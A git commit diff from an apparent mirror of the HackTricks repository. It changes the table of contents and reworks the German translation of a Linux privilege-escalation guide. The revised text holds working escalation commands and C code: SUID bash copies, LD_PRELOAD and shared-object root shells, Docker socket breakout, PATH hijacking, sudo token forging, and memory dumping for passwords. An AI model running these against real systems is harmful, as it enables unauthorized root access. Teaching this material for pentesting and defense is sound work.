mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md'] to de
This commit is contained in:
parent
bbd9ec8c2c
commit
a04554e47a
@ -793,6 +793,29 @@
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [AI Security Methodology](AI/AI-Deep-Learning.md)
|
||||
- [AI MCP Security](AI/AI-MCP-Servers.md)
|
||||
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
|
||||
- [AI Models RCE](AI/AI-Models-RCE.md)
|
||||
- [AI Prompts](AI/AI-Prompts.md)
|
||||
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
|
||||
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
|
||||
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
|
||||
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
|
||||
- [LLM Training](AI/AI-llm-architecture/README.md)
|
||||
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
|
||||
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
|
||||
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
|
||||
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
|
||||
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
|
||||
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
|
||||
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
|
||||
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
|
||||
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
|
||||
# 🔩 Reversing
|
||||
|
||||
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
||||
@ -850,17 +873,6 @@
|
||||
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
- [Test LLMs](todo/test-llms.md)
|
||||
- [LLM Training](todo/llm-training-data-preparation/README.md)
|
||||
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
|
||||
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
|
||||
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
|
||||
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
|
||||
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
|
||||
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
|
||||
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
|
||||
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
|
||||
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
- [Burp Suite](todo/burp-suite.md)
|
||||
- [Other Web Tricks](todo/other-web-tricks.md)
|
||||
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
|
||||
|
||||
@ -162,14 +162,14 @@ Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch **openVAS** verwen
|
||||
|
||||
## Prozesse
|
||||
|
||||
Werfen Sie einen Blick darauf, **welche Prozesse** ausgeführt werden, und überprüfen Sie, ob ein Prozess **mehr Berechtigungen hat, als er sollte** (vielleicht ein Tomcat, der von root ausgeführt wird?)
|
||||
Werfen Sie einen Blick darauf, **welche Prozesse** ausgeführt werden, und überprüfen Sie, ob ein Prozess **mehr Berechtigungen hat, als er sollte** (vielleicht ein Tomcat, der von root ausgeführt wird?).
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Immer nach möglichen [**electron/cef/chromium-Debuggern** suchen, die ausgeführt werden, da Sie diese möglicherweise missbrauchen können, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
|
||||
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemandes Dateien überschreiben.
|
||||
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemanden überschreiben.
|
||||
|
||||
### Prozessüberwachung
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudodatei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps** Datei wissen wir, welche **Speicherregionen lesbar sind** und ihre Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen.
|
||||
Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudodatei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps**-Datei wissen wir, welche **Speicherregionen lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -230,14 +230,14 @@ rm $1*.bin
|
||||
```
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann mit /dev/kmem zugegriffen werden.\
|
||||
`/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem zugegriffen werden.\
|
||||
Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar.
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump für Linux
|
||||
|
||||
ProcDump ist eine Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhalten Sie es unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
ProcDump ist eine Linux-Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite von Tools für Windows. Erhalten Sie es unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Geplante/Cron-Jobs
|
||||
|
||||
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Kann Dateien ändern, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
|
||||
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Können Dateien ändern, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron mit einem Skript mit einem Platzhalter (Wildcard Injection)
|
||||
|
||||
Wenn ein Skript, das von root ausgeführt wird, ein “**\***” innerhalb eines Befehls hat, könntest du dies ausnutzen, um unerwartete Dinge (wie privesc) zu verursachen. Beispiel:
|
||||
Wenn ein Skript, das von root ausgeführt wird, ein “**\***” innerhalb eines Befehls hat, könntest du dies ausnutzen, um unerwartete Dinge zu verursachen (wie privesc). Beispiel:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### Unsichtbare Cron-Jobs
|
||||
|
||||
Es ist möglich, einen Cron-Job **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cron-Job wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
|
||||
Es ist möglich, einen Cronjob **ein Wagenrücklaufzeichen nach einem Kommentar einzufügen** (ohne Zeilenumbruchzeichen), und der Cronjob wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
|
||||
```bash
|
||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
@ -385,11 +385,11 @@ Erstellen Sie beispielsweise Ihre Hintertür innerhalb der .service-Datei mit **
|
||||
|
||||
### Schreibbare Dienst-Binärdateien
|
||||
|
||||
Behalten Sie im Hinterkopf, dass Sie, wenn Sie **Schreibberechtigungen für von Diensten ausgeführte Binärdateien** haben, diese durch Hintertüren ändern können, sodass beim erneuten Ausführen der Dienste die Hintertüren ausgeführt werden.
|
||||
Beachten Sie, dass Sie, wenn Sie **Schreibberechtigungen für Binärdateien haben, die von Diensten ausgeführt werden**, diese durch Hintertüren ändern können, sodass die Hintertüren ausgeführt werden, wenn die Dienste erneut ausgeführt werden.
|
||||
|
||||
### systemd PATH - Relative Pfade
|
||||
|
||||
Sie können den von **systemd** verwendeten PATH mitsehen:
|
||||
Sie können den von **systemd** verwendeten PATH mit:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
@ -421,7 +421,7 @@ In der Dokumentation können Sie lesen, was die Einheit ist:
|
||||
|
||||
> Die Einheit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Einheitsname, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, wird dieser Wert standardmäßig auf einen Dienst gesetzt, der denselben Namen wie die Timer-Einheit hat, mit Ausnahme des Suffixes. (Siehe oben.) Es wird empfohlen, dass der aktivierte Einheitsname und der Einheitsname der Timer-Einheit identisch benannt sind, mit Ausnahme des Suffixes.
|
||||
|
||||
Daher müssen Sie, um diese Berechtigung auszunutzen:
|
||||
Daher müssten Sie, um diese Berechtigung auszunutzen:
|
||||
|
||||
- Eine systemd-Einheit (wie eine `.service`) finden, die **eine beschreibbare Binärdatei ausführt**
|
||||
- Eine systemd-Einheit finden, die **einen relativen Pfad ausführt** und über **schreibbare Berechtigungen** über den **systemd PATH** verfügt (um diese ausführbare Datei zu impersonifizieren)
|
||||
@ -430,7 +430,7 @@ Daher müssen Sie, um diese Berechtigung auszunutzen:
|
||||
|
||||
### **Timer aktivieren**
|
||||
|
||||
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen Folgendes ausführen:
|
||||
Um einen Timer zu aktivieren, benötigen Sie Root-Rechte und müssen ausführen:
|
||||
```bash
|
||||
sudo systemctl enable backu2.timer
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
|
||||
@ -439,17 +439,17 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
|
||||
|
||||
## Sockets
|
||||
|
||||
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
|
||||
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
|
||||
|
||||
Sockets können mit `.socket`-Dateien konfiguriert werden.
|
||||
|
||||
**Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
|
||||
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Serviceeinheit **übergeben**, und es wird nur eine Serviceeinheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
|
||||
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
|
||||
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
|
||||
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem **Schließen** und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
|
||||
- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
|
||||
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
|
||||
- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem Suffix ersetzt). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
|
||||
|
||||
### Schreibbare .socket-Dateien
|
||||
|
||||
@ -500,9 +500,9 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
|
||||
```
|
||||
Diese Befehle ermöglichen es Ihnen, einen Container mit Root-Zugriff auf das Dateisystem des Hosts auszuführen.
|
||||
|
||||
#### **Direkte Verwendung der Docker-API**
|
||||
#### **Direkte Verwendung der Docker API**
|
||||
|
||||
In Fällen, in denen die Docker-CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker-API und `curl`-Befehle manipuliert werden.
|
||||
In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden.
|
||||
|
||||
1. **Docker-Images auflisten:** Holen Sie sich die Liste der verfügbaren Images.
|
||||
|
||||
@ -532,11 +532,11 @@ Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
Nachdem die `socat`-Verbindung eingerichtet ist, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen.
|
||||
Nachdem Sie die `socat`-Verbindung eingerichtet haben, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen.
|
||||
|
||||
### Sonstiges
|
||||
|
||||
Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker` sind**, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker-API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Überprüfen Sie **weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren** in:
|
||||
|
||||
@ -564,9 +564,9 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
|
||||
|
||||
Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Beispielsweise kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
|
||||
Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
|
||||
|
||||
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und ermöglichen möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen.
|
||||
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
|
||||
|
||||
Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird bereitgestellt, die die Berechtigungen für den Root-Benutzer beschreibt, um Nachrichten von `fi.w1.wpa_supplicant1` zu besitzen, zu senden und zu empfangen.
|
||||
|
||||
@ -690,7 +690,7 @@ Wenn Sie **ein Passwort** der Umgebung **kennen, versuchen Sie sich als jeder Be
|
||||
Wenn es Ihnen nichts ausmacht, viel Lärm zu machen und die `su`- und `timeout`-Binaries auf dem Computer vorhanden sind, können Sie versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen.
|
||||
|
||||
## Schreibbare PATH-Ausnutzung
|
||||
## Schreibbare PATH-Missbräuche
|
||||
|
||||
### $PATH
|
||||
|
||||
@ -732,7 +732,7 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wird:
|
||||
Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wurde:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
|
||||
### Sudo-Befehl/SUID-Binärdatei ohne Befehls-Pfad
|
||||
|
||||
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** erteilt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
|
||||
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** gewährt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
@ -769,7 +769,7 @@ Diese Technik kann auch verwendet werden, wenn eine **suid**-Binärdatei **einen
|
||||
|
||||
### SUID-Binärdatei mit Befehls-Pfad
|
||||
|
||||
Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion** zu exportieren, die denselben Namen wie der Befehl hat, den die suid-Datei aufruft.
|
||||
Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion** zu exportieren, die den Namen des Befehls trägt, den die suid-Datei aufruft.
|
||||
|
||||
Zum Beispiel, wenn eine suid-Binärdatei _**/usr/sbin/service apache2 start**_ aufruft, müssen Sie versuchen, die Funktion zu erstellen und sie zu exportieren:
|
||||
```bash
|
||||
@ -784,10 +784,10 @@ Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere gemein
|
||||
|
||||
Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Ausführungen, setzt das System bestimmte Bedingungen durch:
|
||||
|
||||
- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
|
||||
- Für ausführbare Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
|
||||
- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
|
||||
- Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
|
||||
|
||||
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung von beliebigem Code mit erhöhten Rechten führen kann.
|
||||
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -809,12 +809,12 @@ Dann **kompiliere es** mit:
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Schließlich **Privilegien erhöhen** durch Ausführen
|
||||
Schließlich, **Privilegien eskalieren** durch Ausführen
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ein ähnlicher Privilegienausstieg kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
|
||||
> Ein ähnlicher Privilegienausstieg kann missbraucht werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -853,7 +853,7 @@ void inject(){
|
||||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
}
|
||||
```
|
||||
Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt, sobald er kompiliert und ausgeführt wird.
|
||||
Dieser Code, einmal kompiliert und ausgeführt, zielt darauf ab, die Berechtigungen zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt.
|
||||
|
||||
Kompilieren Sie die obige C-Datei in eine Shared Object (.so) Datei mit:
|
||||
```bash
|
||||
@ -920,7 +920,7 @@ In Fällen, in denen Sie **sudo-Zugriff** haben, aber nicht das Passwort, könne
|
||||
Anforderungen zur Eskalation von Privilegien:
|
||||
|
||||
- Sie haben bereits eine Shell als Benutzer "_sampleuser_"
|
||||
- "_sampleuser_" hat **`sudo` verwendet**, um etwas in den **letzten 15 Minuten** auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das es uns ermöglicht, `sudo` ohne Eingabe eines Passworts zu verwenden)
|
||||
- "_sampleuser_" hat **`sudo` verwendet**, um etwas in den **letzten 15 Minuten** auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das es uns ermöglicht, `sudo` zu verwenden, ohne ein Passwort einzugeben)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` ist 0
|
||||
- `gdb` ist zugänglich (Sie sollten in der Lage sein, es hochzuladen)
|
||||
|
||||
@ -947,14 +947,14 @@ sudo su
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Wenn Sie **Schreibberechtigungen** im Ordner oder auf einer der darin erstellten Dateien haben, können Sie die Binärdatei [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\
|
||||
Zum Beispiel, wenn Sie die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und Sie eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erhalten**, ohne das Passwort wissen zu müssen, indem Sie:
|
||||
Wenn Sie beispielsweise die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und Sie eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erhalten**, ohne das Passwort wissen zu müssen, indem Sie:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur von Benutzer root und Gruppe root gelesen werden**.\
|
||||
